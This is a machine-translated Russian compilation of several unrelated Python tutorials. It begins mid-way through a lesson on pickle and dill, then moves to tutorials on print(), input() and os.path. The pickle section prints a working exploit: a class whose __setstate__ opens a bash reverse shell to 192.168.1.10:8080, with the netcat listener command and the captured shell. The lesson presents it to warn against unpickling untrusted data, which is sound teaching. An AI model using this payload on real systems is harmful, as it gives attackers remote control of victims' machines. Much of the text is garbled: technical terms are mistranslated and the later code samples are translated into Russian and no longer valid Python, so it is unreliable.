После завершения процесса травления вы изменяете свой исходный объект, устанавливая атрибут a_dict
в None
.
Наконец, вы открываете строку для совершенно нового экземпляра. То, что вы получаете, является глубокой копией вашей исходной структуры объекта с момента начала процесса pickling.
Форматы протокола pickle
модуля
Как уже упоминалось выше, pickle
модуль является специфичным для Python, и результат процесса pickling может быть прочитан только другой программой Python. Но даже если вы работаете с Python, важно знать, что pickle
модуль эволюционировал со временем.
Это означает, что если вы выбрали объект с определенной версией Python, вы не сможете удалить его с более старой версией. Совместимость зависит от версии протокола, который вы использовали для процесса травления.
В настоящее время существует шесть различных протоколов, которые pickle
может использовать . Чем выше версия протокола, тем более поздним должен быть интерпретатор Python для расщепления.
- Протокол версии 0 был первой версией. В отличие от более поздних протоколов, он удобочитаем.
- Протокол версии 1 был первым двоичным форматом.
- Протокол версии 2 был представлен в Python 2.3.
- Протокол версии 3 был добавлен в Python 3.0. Не может быть выбран Python 2.x.
- Протокол версии 4 был добавлен в Python 3.4. Он поддерживает более широкий диапазон размеров и типов объектов и является протоколом по умолчанию, начиная с Python 3.8.
- Протокол версии 5 был добавлен в Python 3.8. Он имеет поддержку внеполосных данных и улучшенную скорость для внутриполосных данных.
Примечание. Более новые версии протокола предлагают больше функций и улучшений, но ограничены более высокими версиями интерпретатора. Обязательно учитывайте это при выборе протокола для использования.
Чтобы определить самый высокий протокол, который поддерживает ваш интерпретатор, вы можете проверить значение pickle.HIGHEST_PROTOCOL
атрибута.
Чтобы выбрать конкретный протокол , необходимо указать версию протокола при вызове load()
, loads()
, dump()
или dumps()
. Если вы не укажете протокол, ваш интерпретатор будет использовать версию по умолчанию, указанную в pickle.DEFAULT_PROTOCOL
атрибуте.
Выбираемые и необратимые типы
Вы уже узнали, что pickle
модуль Python может сериализовать гораздо больше типов, чем json
модуль. Тем не менее, не все picklable. Список unpicklable объектов включает соединения с базой данных, открытые сетевые сокеты, запущенные потоки и др.
Если вы обнаружите, что столкнулись с unpicklable, то есть несколько вещей, которые вы можете сделать. Первый вариант – использовать стороннюю библиотеку, например dill
.
dill
Модуль расширяет возможности pickle
. Согласно официальной документации , он позволяет сериализовать менее распространенные типы, такие как функции с выходами, вложенные функции , лямбда-выражения и многие другие.
Чтобы проверить этот модуль, вы можете попробовать выбрать lambda
функцию:
# pickling_error.py
import pickle
square = lambda x : x * x
my_pickle = pickle.dumps(square)
Если вы попытаетесь запустить эту программу, вы получите исключение, потому что pickle
модуль Python не может сериализовать lambda
функцию:
$ python pickling_error.py
Traceback (most recent call last):
File "pickling_error.py", line 6, in <module>
my_pickle = pickle.dumps(square)
_pickle.PicklingError: Can't pickle <function <lambda> at 0x10cd52cb0>: attribute lookup <lambda> on __main__ failed
Теперь попробуйте заменить pickle
модуль Python на, dill
чтобы увидеть, есть ли разница:
# pickling_dill.py
import dill
square = lambda x: x * x
my_pickle = dill.dumps(square)
print(my_pickle)
Если вы запустите этот код, вы увидите, что dill
модуль сериализует lambda
без возврата ошибки:
$ python pickling_dill.py
b'\x80\x03cdill._dill\n_create_function\nq\x00(cdill._dill\n_load_type\nq\x01X\x08\x00\x00\x00CodeTypeq\x02\x85q\x03Rq\x04(K\x01K\x00K\x01K\x02KCC\x08|\x00|\x00\x14\x00S\x00q\x05N\x85q\x06)X\x01\x00\x00\x00xq\x07\x85q\x08X\x10\x00\x00\x00pickling_dill.pyq\tX\t\x00\x00\x00squareq\nK\x04C\x00q\x0b))tq\x0cRq\rc__builtin__\n__main__\nh\nNN}q\x0eNtq\x0fRq\x10.'
Еще одна интересная особенность dill
заключается в том, что он может даже сериализовать весь сеанс интерпретатора. Вот пример:>>>
>>> square = lambda x : x * x
>>> a = square(35)
>>> import math
>>> b = math.sqrt(484)
>>> import dill
>>> dill.dump_session('test.pkl')
>>> exit()
В этом примере вы запускаете интерпретатор, импортируете модуль и определяете lambda
функцию вместе с несколькими другими переменными. Затем вы импортируете dill
модуль и вызываете dump_session()
для сериализации всей сессии.
Если все идет хорошо, вы должны получить test.pkl
файл в текущем каталоге:
$ ls test.pkl
4 -rw-r--r--@ 1 dave staff 439 Feb 3 10:52 test.pkl
Теперь вы можете запустить новый экземпляр интерпретатора и загрузить test.pkl
файл для восстановления вашего последнего сеанса:>>>
>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>)])
>>> import dill
>>> dill.load_session('test.pkl')
>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>), ('dill', <module 'dill' from '/usr/local/lib/python3.7/site-packages/dill/__init__.py'>), ('square', <function <lambda> at 0x10a013a70>), ('a', 1225), ('math', <module 'math' from '/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/math.cpython-37m-darwin.so'>), ('b', 22.0)])
>>> a
1225
>>> b
22.0
>>> square
<function <lambda> at 0x10a013a70>
Первое globals().items()
утверждение показывает, что интерпретатор находится в исходном состоянии. Это означает, что вам нужно импортировать dill
модуль и вызвать load_session()
для восстановления сеанса сериализованного интерпретатора.
Примечание. Прежде чем использовать dill
вместо pickle
, имейте в виду, что dill
не включен в стандартную библиотеку интерпретатора Python и обычно работает медленнее, чем pickle
.
Несмотря на то, что он dill
позволяет сериализовать более широкий диапазон объектов pickle
, он не может решить все проблемы с сериализацией, которые могут у вас возникнуть. Если вам, например, необходимо сериализовать объект, который содержит соединение с базой данных, то у вас непростое время, потому что этот объект даже не для сериализации dill
.
Итак, как вы можете решить эту проблему?
Решением в этом случае является исключение объекта из процесса сериализации и повторная инициализация соединения после десериализации объекта.
Вы можете использовать, __getstate__()
чтобы определить, что должно быть включено в процесс травления. Этот метод позволяет вам указать, что вы хотите pickle. Если вы не переопределите __getstate__()
, __dict__
то будут использованы экземпляры по умолчанию .
В следующем примере вы увидите, как вы можете определить класс с несколькими атрибутами и исключить один атрибут из сериализации с помощью __getstate()__
:
# custom_pickling.py
import pickle
class foobar:
def __init__(self):
self.a = 35
self.b = "test"
self.c = lambda x: x * x
def __getstate__(self):
attributes = self.__dict__.copy()
del attributes['c']
return attributes
my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)
print(my_new_instance.__dict__)
В этом примере вы создаете объект с тремя атрибутами. Поскольку один из атрибутов – это lambda
объект, его нельзя unpicklable стандартным pickle
модулем.
Чтобы решить эту проблему, вы должны указать, что pickle __getstate__()
. Сначала вы клонируете весь __dict__
экземпляр, чтобы все атрибуты были определены в классе, а затем вручную удаляете c
атрибут unpicklable .
Если вы запустите этот пример и затем десериализуете объект, то увидите, что новый экземпляр не содержит c
атрибут:
$ python custom_pickling.py
{'a': 35, 'b': 'test'}
Но что, если вы захотите выполнить некоторые дополнительные инициализации при снятии травления, скажем, добавив исключенный c
объект обратно в десериализованный экземпляр? Вы можете сделать это с помощью __setstate__()
:
# custom_unpickling.py
import pickle
class foobar:
def __init__(self):
self.a = 35
self.b = "test"
self.c = lambda x: x * x
def __getstate__(self):
attributes = self.__dict__.copy()
del attributes['c']
return attributes
def __setstate__(self, state):
self.__dict__ = state
self.c = lambda x: x * x
my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)
print(my_new_instance.__dict__)
Передав исключенный c
объект в __setstate__()
, вы гарантируете, что он появится в __dict__
строке без выделения.
Сжатие Pickled объектов
Хотя pickle
формат данных является компактным двоичным представлением структуры объекта, вы все равно можете оптимизировать свою засеченную строку, сжимая ее с помощью bzip2
или gzip
.
Чтобы сжать Pickled строку bzip2
, вы можете использовать bz2
модуль из стандартной библиотеки.
В следующем примере вы возьмете строку, выделите ее, а затем сожмете ее с помощью bz2
библиотеки:>>>
>>> import pickle
>>> import bz2
>>> my_string = """Per me si va ne la città dolente,
... per me si va ne l'etterno dolore,
... per me si va tra la perduta gente.
... Giustizia mosse il mio alto fattore:
... fecemi la divina podestate,
... la somma sapienza e 'l primo amore;
... dinanzi a me non fuor cose create
... se non etterne, e io etterno duro.
... Lasciate ogne speranza, voi ch'intrate."""
>>> pickled = pickle.dumps(my_string)
>>> compressed = bz2.compress(pickled)
>>> len(my_string)
315
>>> len(compressed)
259
При использовании сжатия помните, что файлы меньшего размера создаются за счет более медленного процесса.
Проблемы безопасности с pickle
модулем Python
Теперь вы знаете, как использовать pickle
модуль для сериализации и десериализации объектов в Python. Процесс сериализации очень удобен, когда вам нужно сохранить состояние вашего объекта на диск или передать его по сети.
Однако есть еще одна вещь, которую вам нужно знать о pickle
модуле Python : он небезопасен. Вы помните обсуждение __setstate__()
? Что ж, этот метод отлично подходит для выполнения большей инициализации во время удаления, но он также может быть использован для выполнения произвольного кода в процессе удаления!
Итак, что вы можете сделать, чтобы уменьшить этот риск?
К сожалению, не так уж много. Правило – никогда не распаковывать данные, которые поступают из ненадежного источника или передаются по небезопасной сети . Чтобы предотвратить man-in-the-middle attacks , рекомендуется использовать библиотеку hmac
чтобы подписывать данные и следить за тем, чтобы они не были подделаны.
В следующем примере показано, как открепление несанкционированного доступа может раскрыть вашу систему злоумышленникам, даже предоставив им работающую удаленную оболочку:
# remote.py
import pickle
import os
class foobar:
def __init__(self):
pass
def __getstate__(self):
return self.__dict__
def __setstate__(self, state):
# The attack is from 192.168.1.10
# The attacker is listening on port 8080
os.system('/bin/bash -c
"/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"')
my_foobar = foobar()
my_pickle = pickle.dumps(my_foobar)
my_unpickle = pickle.loads(my_pickle)
В этом примере выполняется процесс расщепления __setstate__()
, который выполняет команду Bash, чтобы открыть удаленную оболочку для 192.168.1.10
компьютера через порт 8080
.
Вот как вы можете безопасно протестировать этот скрипт на вашем Mac или Linux. Сначала откройте терминал и используйте nc
команду для прослушивания соединения с портом 8080:
$ nc -l 8080
Это будет терминал атакующего . Если все работает, то команда будет висеть.
Затем откройте другой терминал на том же компьютере (или на любом другом компьютере в сети) и выполните приведенный выше код Python для удаления вредоносного кода. Обязательно измените IP-адрес в коде на IP-адрес вашего атакующего терминала. В моем примере IP-адрес злоумышленника 192.168.1.10
.
Выполнив этот код, жертва предоставит атакующему оболочку:
$ python remote.py
Если все работает, на атакующей консоли появится оболочка Bash. Эта консоль теперь может работать непосредственно на атакуемой системе:
$ nc -l 8080
bash: no job control in this shell
The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2$
Итак, позвольте мне повторить эту критическую точку еще раз: не используйте pickle
модуль для десериализации объектов из ненадежных источников!
Вывод
Теперь вы знаете, как использовать pickle
модуль Python для преобразования иерархии объектов в поток байтов, который можно сохранить на диск или передать по сети. Вы также знаете, что процесс десериализации в Python должен использоваться с осторожностью, поскольку извлечение чего-либо из ненадежного источника может быть чрезвычайно опасным.
В этом уроке вы узнали:
- Что означает сериализация и десериализация объекта
- Какие модули вы можете использовать для сериализации объектов в Python
- Какие виды объектов можно сериализовать с помощью
pickle
модуля Python - Как использовать
pickle
модуль Python для сериализации объектных иерархий - Каковы риски unpickling из ненадежного источника
Обладая этими знаниями, вы хорошо подготовлены для сохранения ваших объектов с помощью pickle
модуля Python .
Совершенствуй знания каждый день у нас в Телеграм-каналах
Вопросы, реклама — VK | Telegram
выходных данных Python | Вывод на печать в Python
Если вы пытаетесь понять методы вывода вывода Python, то к настоящему моменту вы должны были знать о методах ввода ввода Python. В этой статье давайте рассмотрим различные способы вывода переменных и операторов в Python 3.
Печать вывода в Python
Самый простой способ распечатать вывод Python — использовать встроенную функцию print (). функция.Синтаксис функции print ():
Синтаксис: print (значение (значения), sep = '', end = 'n', file = file, flush = flush)
Здесь
- значение (я): Вы можете вставить любое значение или столько значений, сколько хотите. Любое значение независимо от его типа перед печатью будет преобразовано в строку.
- sep = »: Это необязательный параметр синтаксиса. В пространстве между » вам нужно указать, как разделять введенные вами значения, если их больше одного.Пробел — разделитель по умолчанию.
- end = ‘end’: Это также необязательно. Используя end, вам нужно указать, что печатать в конце. Конец по умолчанию — «n».
- файл: ( Необязательно) Файл — это место, где должен быть напечатан этот оператор печати. По умолчанию это sys.stdout
- flush: (Необязательно) Логическое значение, указывающее, будет ли вывод сброшен (True) или буферизован (False). По умолчанию значение flush — False.
Примеры печати вывода Python
1) Печать строки или текста:
Вы можете напечатать строку или строку внутри двойных или одинарных кавычек, как показано ниже.
print («Hello World!») print («Я изучаю Python в программе FACE Prep») Выход: Привет мир! Я изучаю Python на FACE Prep
2) Печать значения / целого числа:
Рассмотрим значение 5, сохраненное в переменной с именем num. Чтобы напечатать это значение, нам нужно просто указать имя переменной, как показано ниже.
число = 5 печать (число) Выход: 5
3) Печать значения вместе со строкой:
Подумайте, вам нужно напечатать выписку. У кошек 4 ноги.Где значение 4 хранится в переменной num. Тогда ваш код должен выглядеть примерно так, как показано ниже:
num = 4 print («У кошек есть», num, «ноги») Выход: У кошек 4 ноги
Если вам нужно напечатать еще один оператор в следующей строке, просто напишите еще один оператор печати, как показано ниже,
num = 4 print («У кошек есть»; num; «лапки») печать (И я люблю кошек) Выход: У кошек 4 ноги И я люблю кошек
Примечание. Новая строка вставляется в конец каждого оператора печати по умолчанию.
4) Печать строки с использованием sep
Рассмотрим следующий код,
num = 4 print («У кошек есть»; num; «лапки») print ('Привет', 'все') Выход: У кошек 4 ноги всем привет
Теперь рассмотрим приведенный ниже код с параметром sep
num = 4 print («У кошек есть», num, «ноги») print ('Привет', 'все', sep = '') Выход: У кошек 4 ноги Всем привет
5) Печать строки с использованием конца
Конец используется для добавления пробела вместо новой строки.Рассмотрим приведенный ниже код:
num = 4 print («У кошек есть»; num; «лапки») print ('Привет', 'все') print («Добрый день») Выход: У кошек 4 ноги всем привет Добрый день
Теперь рассмотрим приведенный ниже код с конечным параметром
num = 4 print («У кошек есть»; num; «лапки») print ('Привет', 'все', конец = '') print («Добрый день») Выход: У кошек 4 ноги всем привет Добрый день
Вы также можете указать любые специальные символы внутри конечного параметра, как показано ниже,
num = 4 print («У кошек есть»; num; «лапки») print ('Привет', 'все', конец = ':)') print («Добрый день») Выход: У кошек 4 ноги Всем привет :) Добрый день
Рассмотрим другой пример, в котором параметр sep удалил пробел и добавил символ — между числами.
print ("21", "05", "1997", sep = '-') print ("21", "05", sep = "-", end = "-1997") Выход: 21-05-1997 21-05-1997
питон
Подготовка к интервью
Если у вас есть отзывы об этом
статью и хотите улучшить ее, напишите на [email protected]
Учебные пособия и примечания по вводу и выводу | Python
Ввод и вывод Python
С этой темы мы начинаем нашу серию учебных пособий по Python.Каждый учебник описывает конкретную тему с примерами. Проблема
утверждение в конце каждого урока оценит ваше понимание.
Введение
Как и все языки высокого уровня, Python легко читать, писать меньше времени и переносить. Этот универсальный язык программирования имеет два
версии: Python 2 и Python 3. Wiki говорит: Python 2.x унаследован, Python 3.x — это настоящее и будущее языка. То есть Python 2 — это
больше не находится в разработке, и все новые функции будут добавлены в Python 3.Обратите внимание, что с учетом этого примеры кода в этом руководстве относятся к Python 3. Где бы ни был показан код Python 2.x, он будет
выделено.
Исполнение
Python выполняет код сверху вниз, если он написан с правильным синтаксисом. Чтобы выполнить код из наших руководств по python, вам необходимо установить
python на вашем компьютере в качестве предварительного условия. Здесь дается небольшое описание того, как установить Python и запустить интерпретатор.
После запуска интерпретатора вы можете начать вводить команды, чтобы получить результат.
Ввод с использованием функции input ()
Функция определяется как блок организованного многократно используемого кода, который используется для выполнения одного связанного действия. Python имеет множество встроенных функций; вы
также можете создать свой собственный.
В Python есть функция ввода, которая позволяет вам запрашивать у пользователя ввод текста. Вы вызываете эту функцию, чтобы программа остановилась и дождалась
пользователь вводит данные.
В Python 2 у вас есть встроенная функция raw_input ()
, тогда как в Python 3 у вас есть input ()
.Программа возобновится, как только пользователь
нажимает клавишу ENTER или RETURN.
Посмотрите на этот пример, чтобы получить ввод с клавиатуры с помощью Python 2 в интерактивном режиме. Ваш результат отображается в кавычках после того, как вы нажмете
клавишу ENTER.
>>> raw_input ()
Я учусь на hackerearth (здесь вы набираете)
«Я учусь на hackerearth» (интерпретатор, показывающий, как вводятся данные.)
В Python 3.x вам нужно использовать input ().
>>> input ()
Я учусь на hackerearth.«Я учусь на hackerearth».
Вы всегда можете указать пользователю, что вводить, распечатав подсказку. Нет разницы между input
в Python 3 и raw_input
в Python
2 за исключением ключевых слов.
Вывод с использованием функции print ()
Для вывода данных на экран используйте функцию print ()
.
Вы можете написать print (аргумент)
, и это напечатает аргумент
в следующей строке, когда вы нажмете клавишу ENTER
.
Определения, которые нужно запомнить:
Аргумент — это значение, которое вы передаете функции при ее вызове.
Значение — это буква или число.
Переменная — это имя, которое относится к значению. Начинается с буквы.
Оператор присваивания создает новые переменные и присваивает им значения.
Этот синтаксис действителен как в Python 3.x, так и в Python 2.x.
Например, если ваши данные — «Гвидо», вы можете поместить «Гвидо» в круглые скобки ()
после и напечатать
.
>>> print ("Guido")
Гвидо
Подробнее об использовании ввода
Чтобы записать ввод в вашу программу, вам понадобится переменная. Переменная — это контейнер для хранения данных. (Вы узнаете больше о переменных в
позднее руководство.) Вы можете взять ввод и назначить его переменной. Это делается с помощью оператора =
перед ключевым словом input, а затем
помещая имя переменной перед оператором =
.
Например, когда вы вводите предложение «общий ввод» в качестве ввода, оно присваивается переменной, скажем, my_var
.Затем вы можете распечатать
значение хранится в my_var
. Давайте разберемся в этом на следующем примере:
>>> # берем ввод и назначаем его переменной
>>> beautiful_number = input () # Данные, которые вы вводите в следующей строке, которая равна 6, будут присвоены beautiful_number
6
>>> print (beautiful_number) # в следующей строке будет напечатано значение beautiful_number после того, как вы нажмете enter или return
'6'
Дайте полезную подсказку во время подсказки
Часто бывает полезно сказать пользователю, что вводить.Вы можете сделать это, заключив подсказку в кавычки внутри скобок ввода. Намек
появится в следующей строке и будет ждать ввода пользователя. Затем вы можете ввести ввод, и когда вы нажмете клавишу ENTER, он захватит
ввод.
В этом примере подсказка — «Назови мне красивый номер». Это печатается в следующей строке при запросе ввода. Если вы наберете 6, это
будет присвоено значение переменной beautiful_number
, которую мы можем распечатать позже.
>>> beautiful_number = input («скажи мне красивое число»)
скажи мне красивое число 6
>>> print (красивое_число)
'6'
Подробнее об использовании печати
Допустим, вы хотите напечатать определенную строку (последовательность символов, таких как буквы, знаки препинания, числа и буквы) N раз.Оператор (звездочка) * выполняет повторение строк.
Вы можете напечатать цифру «5» шесть раз. В скобках для печати введите «5», затем *
и количество раз, которое вы хотите повторить «5».
>>> print ("5" * 6)
555555
Вы можете разделить вывод с помощью разделителя запятой. По умолчанию это добавляет пробел между элементами вывода. Например, последовательность
числа 5,6,7
разделенные запятой ,
печатается с пробелом между одним числом и следующим.
>>> печать (5,6,7)
5 6 7
Чтобы изменить вывод на то, что вы хотите, используйте аргументы sep и end ключевого слова для print ().
При разделении вывода разделителем-запятой вы также можете определить формат разделения с помощью ключевого слова sep
.
>>> print ('ЛЮБОВЬ', 30, 82.2)
ЛЮБОВЬ 30 82,2
>>> print ('ЛЮБОВЬ', 30, 82.2, sep = ',')
'ЛЮБОВЬ', 30, 82,2
По умолчанию print
переходит на новую строку в конце.Вы можете изменить это, используя ключевое слово конец
, как показано в примере ниже.
>>> print ('ЛЮБОВЬ', 30, 82.2, sep = ',', end = '!! \ n')
«ЛЮБОВЬ», 30, 82,2 !!
Например, вы можете вывести буквы в слове «питон», и все буквы появятся в новой строке.
>>> для i в "python":
... печать (я)
...
п
y
т
час
о
п
Вы можете изменить эту реализацию по умолчанию. Между буквами может быть двоеточие :
вместо новой строки.
>>> для i в "python":
... print (i, end = ":")
...
п: у: т: ч: о: н:
Печать результата расчета
Допустим, вы можете присвоить число 7
переменной население
, и если вы напишете логику население * 7
в круглых скобках , напечатайте
, это
просто выполнит расчет и распечатает результат.
>>> население = 7
>>> print («Население в 2050 году:», население * 1.28) # делаем расчет на месте
Население в 2050 году: 8,96 чел.
Предоставил: Джойдип Бхаттачарджи
Учебное пособие по Python: файлы Python и os.path
Файлы Python и os.path
bogotobogo.com поиск по сайту:
Справочники
Модуль os содержит функции для получения информации о локальных каталогах, файлах, процессах и переменных среды.
os.getcwd ()
Текущий рабочий каталог — это свойство, которое Python постоянно хранит в памяти. Всегда есть текущий рабочий каталог, независимо от того, находимся ли мы в оболочке Python, запускаем собственный сценарий Python из командной строки и т. Д.
>>> import os >>> печать (os.getcwd ()) C: \ Python32 >>> os.chdir ('/ тест') >>> печать (os.getcwd ()) C: \ test
Мы использовали функцию os.getcwd () , чтобы получить текущий рабочий каталог.Когда мы запускаем графическую оболочку Python, текущий рабочий каталог начинается как каталог, в котором находится исполняемый файл оболочки Python. В Windows это зависит от того, где мы установили Python; каталог по умолчанию — c: \ Python32. Если мы запустим оболочку Python из командной строки, текущий рабочий каталог запускается как каталог, в котором мы находились, когда запускали python3.
Затем мы использовали функцию os.chdir () , чтобы изменить текущий рабочий каталог.
Обратите внимание, что когда мы вызвали os.chdir () , мы использовали путь в стиле Linux (косая черта, без буквы диска), хотя мы работаем в Windows. Это одно из мест, где Python пытается скрыть различия между операционными системами.
os.path.join ()
os.path содержит функции для управления именами файлов и именами каталогов.
>>> import os >>> print (os.path.join ('/ test /', 'myfile')) / test / myfile >>> print (os.path.expanduser ('~')) C: \ Пользователи \ K >>> print (os.path.join (os.path.expanduser ('~'), 'dir', 'subdir', 'k.py'))) C: \ Users \ K \ dir \ subdir \ k.py
Функция os.path.join () создает имя пути из одного или нескольких частичных имен путей. В этом случае он просто объединяет строки. Вызов функции os.path.join () добавит дополнительную косую черту к имени пути перед присоединением его к имени файла.
Функция os.path.expanduser () расширит путь, который использует ~ для представления домашнего каталога текущего пользователя.Это работает на любой платформе, где у пользователей есть домашний каталог, включая Linux, Mac OS X и Windows. Возвращенный путь не имеет косой черты в конце, но функция os.path.join () не возражает.
Комбинируя эти методы, мы можем легко создать пути для каталогов и файлов в домашнем каталоге пользователя. Функция os.path.join () может принимать любое количество аргументов.
Примечание: нам нужно быть осторожными со строкой, когда мы используем os.path.join . Если мы используем «/», он сообщает Python, что мы используем абсолютный путь, и переопределяет путь перед ним:
>>> import os >>> print (os.path.join ('/ test /', '/ myfile')) /мой файл
Как мы видим, пути «/ test /» больше нет!
os.path.split ()
os.path также содержит функции для разделения полных имен путей, имен каталогов и имен файлов на их составные части.
>>> pathname = "/ Users / K / dir / subdir / k.ру " >>> os.path.split (путь) ('/ Пользователи / K / каталог / подкаталог', 'k.py') >>> (имя каталога, имя файла) = os.path.split (путь) >>> dirname '/ Users / K / dir / subdir' >>> путь '/Users/K/dir/subdir/k.py' >>> имя файла 'k.py' >>> (короткое имя, расширение) = os.path.splitext (имя файла) >>> короткое имя 'k' >>> расширение '.py'
Функция split () разделяет полное имя пути и возвращает кортеж , содержащий путь и имя файла.Функция os.path.split () действительно возвращает несколько значений. Мы присваиваем возвращаемое значение функции разделения кортежу из двух переменных. Каждая переменная получает значение соответствующего элемента возвращаемого кортежа. Первая переменная, dirname , получает значение первого элемента кортежа, возвращаемого функцией os.path.split () , путь к файлу. Вторая переменная, filename , получает значение второго элемента кортежа, возвращенного из os.path.split () , имя файла.
os.path также содержит функцию os.path.splitext () , которая разделяет имя файла и возвращает кортеж, содержащий имя файла и расширение файла. Мы использовали ту же технику, чтобы назначить каждую из них отдельным переменным.
glob.glob ()
Модуль glob — еще один инструмент в стандартной библиотеке Python. Это простой способ получить содержимое каталога программно, и в нем используются подстановочные знаки, с которыми мы, возможно, уже знакомы по работе в командной строке.
>>> import glob >>> os.chdir ('/ тест') >>> import glob >>> glob.glob ('subdir / *. py') ['вложенный каталог \\ tes3.py', 'вложенный каталог \\ test1.py', 'вложенный каталог \\ test2.py']
Модуль glob принимает подстановочный знак и возвращает путь ко всем файлам и каталогам, соответствующим подстановочному знаку.
Метаданные файла
Каждая файловая система хранит метаданных о каждом файле: дату создания, дату последнего изменения, размер файла и так далее. Python предоставляет единый API для доступа к этим метаданным.Нам не нужно открывать файл, все, что нам нужно, это имя файла.
>>> import os >>> печать (os.getcwd ()) C: \ test >>> os.chdir ('subdir') >>> печать (os.getcwd ()) C: \ test \ subdir >>> метаданные = os.stat ('test1.py') >>> metadata.st_mtime 1359868355.9555483 >>> время импорта >>> time.localtime (metadata.st_mtime) time.struct_time (tm_year = 2013, tm_mon = 2, tm_mday = 2, tm_hour = 21, tm_min = 12, tm_sec = 35, tm_wday = 5, tm_yday = 33, tm_isdst = 0) >>> метаданные.st_size 1844 г.
Вызов функции os.stat () возвращает объект, который содержит несколько различных типов метаданных о файле. st_mtime — время модификации, но в формате, который не очень полезен. Фактически, это количество секунд, прошедших с Эпохи, которая определяется как первая секунда 1 января 1970 года.
Модуль time является частью стандартной библиотеки Python. Он содержит функции для преобразования между различными представлениями времени, форматирования значений времени в строки и работы с часовыми поясами.
Функция time.localtime () преобразует значение времени из секунд с начала эпохи (из свойства st_mtime , возвращенного функцией os.stat () ) в более полезную структуру года, месяца. , день, час, минута, секунда и т. д. В последний раз этот файл был изменен 2 февраля 2013 г., около 21:12.
Функция os.stat () также возвращает размер файла в свойстве st_size . Размер файла test1.py составляет 1844 байта.
os.path.realpath () — Абсолютный путь
Функция glob.glob () вернула список из относительных имен путей . Если мы хотим создать абсолютный путь , то есть такой, который включает все имена каталогов обратно в корневой каталог или букву диска, тогда нам понадобится функция os.path.realpath () .
>>> import os >>> печать (os.getcwd ()) C: \ test \ subdir >>> print (os.path.realpath ('test1.ру ')) C: \ test \ subdir \ test1.py
os.path.expandvars () — Env. переменная
Функция expandvars вставляет переменные среды в имя файла.
>>> import os >>> os.environ ['SUBDIR'] = 'subdir' >>> print (os.path.expandvars ('/ home / users / K / $ SUBDIR')) / home / users / K / subdir
Открытие файлов
Для открытия файла используется встроенная функция open () :
myfile = open ('mydir / myfile.txt', 'ш')
Функция open () принимает в качестве аргумента имя файла .Здесь имя файла mydir / myfile.txt , а следующий аргумент — это режим обработки . Обычно это строка ‘r’ для открытия ввода текста (это режим по умолчанию), ‘w’ для создания и открытия для вывода текста. Строка ‘a’ открывается для добавления текста в конец. Аргумент режима может указывать дополнительные параметры: добавление ‘b’ к строке режима позволяет использовать двоичных данных , а добавление + открывает файл для как для ввода, так и для .
В таблице ниже перечислены несколько комбинаций режимов обработки:
Режим | Описание |
---|---|
r | Открывает файл только для чтения. Указатель файла помещается в начало файла. Это режим «по умолчанию». |
руб | Открывает файл для чтения только в двоичном формате. Указатель файла помещается в начало файла. Это режим «по умолчанию». |
р + | Открывает файл для чтения и записи.Указатель файла будет в начале файла. |
руб. + | Открывает файл для чтения и записи в двоичном формате. Указатель файла будет в начале файла. |
w | Открывает файл только для записи. Заменяет файл, если он существует. Если файл не существует, создает новый файл для записи. |
ВБ | Открывает файл для записи только в двоичном формате. Заменяет файл, если он существует.Если файл не существует, создает новый файл для записи. |
Вт + | Открывает файл для записи и чтения. Заменяет существующий файл, если он существует. Если файл не существует, создает новый файл для чтения и записи. |
Открывает файл для добавления. Указатель файла находится в конце файла, если файл существует. То есть файл находится в режиме добавления. Если файл не существует, создается новый файл для записи. | |
ab | Открывает файл для добавления в двоичном формате. Указатель файла находится в конце файла, если файл существует. То есть файл находится в режиме добавления. Если файл не существует, создается новый файл для записи. |
а + | Открывает файл для добавления и чтения. Указатель файла находится в конце файла, если файл существует. Файл откроется в режиме добавления. Если файл не существует, создается новый файл для чтения и записи. |
ab + | Открывает файл в двоичном формате для добавления и чтения. Указатель файла находится в конце файла, если файл существует. Файл откроется в режиме добавления. Если файл не существует, создается новый файл для чтения и записи. |
Есть вещи, которые мы должны знать об имени файла :
- Это не просто имя файла. Это комбинация пути к каталогу и имени файла. В Python, когда нам нужно имя файла , мы также можем включить часть или весь путь к каталогу.
- В пути к каталогу используется косая черта без упоминания операционной системы. Windows использует обратную косую черту для обозначения подкаталогов, а Linux — прямую косую черту. Но в Python косые черты всегда работают, даже в Windows.
- Путь к каталогу не начинается с косой черты или буквы диска, поэтому он называется относительным путем.
- Это строка. Все современные операционные системы используют Unicode для хранения имен файлов и каталогов. Python 3 полностью поддерживает пути, отличные от ASCII.
Кодировка символов
Строка — это последовательность символов Юникода. Файл на диске — это не последовательность символов Юникода, а последовательность байтов. Итак, если мы читаем файл с диска, как Python преобразует эту последовательность байтов в последовательность символов?
Внутренне Python декодирует байты в соответствии с определенным алгоритмом кодирования символов и возвращает последовательность символьной строки Unicode.
У меня есть файл («Alone.txt»):
나 혼자 (Один) - Автор: Sistar 추억 이 이리 많을 까 넌 대체 뭐 할까 아직 난 이래 혹시 돌아 올까 봐
Попробуем прочитать файл:
>>> file = open ('Alone.текст') >>> str = file.read () Отслеживание (последний вызов последний): Файл "", строка 1, в str = file.read () Файл "C: \ Python32 \ lib \ encodings \ cp1252.py", строка 23, в декодировании return codecs.charmap_decode (input, self.errors, decoding_table) [0] UnicodeDecodeError: кодек charmap не может декодировать байт 0x90 в позиции 6: символы отображаются в >>> # 7>
Что только что произошло?
Мы не указали кодировку символов, поэтому Python вынужден использовать кодировку по умолчанию.
Какая кодировка по умолчанию? Если мы внимательно посмотрим на трассировку, мы увидим, что она дает сбой в cp1252.py, что означает, что Python использует здесь кодировку по умолчанию CP-1252 . (CP-1252 — это обычная кодировка на компьютерах, работающих под управлением Microsoft Windows.) Набор символов CP-1252 не поддерживает символы, содержащиеся в этом файле, поэтому чтение завершается ошибкой UnicodeDecodeError .
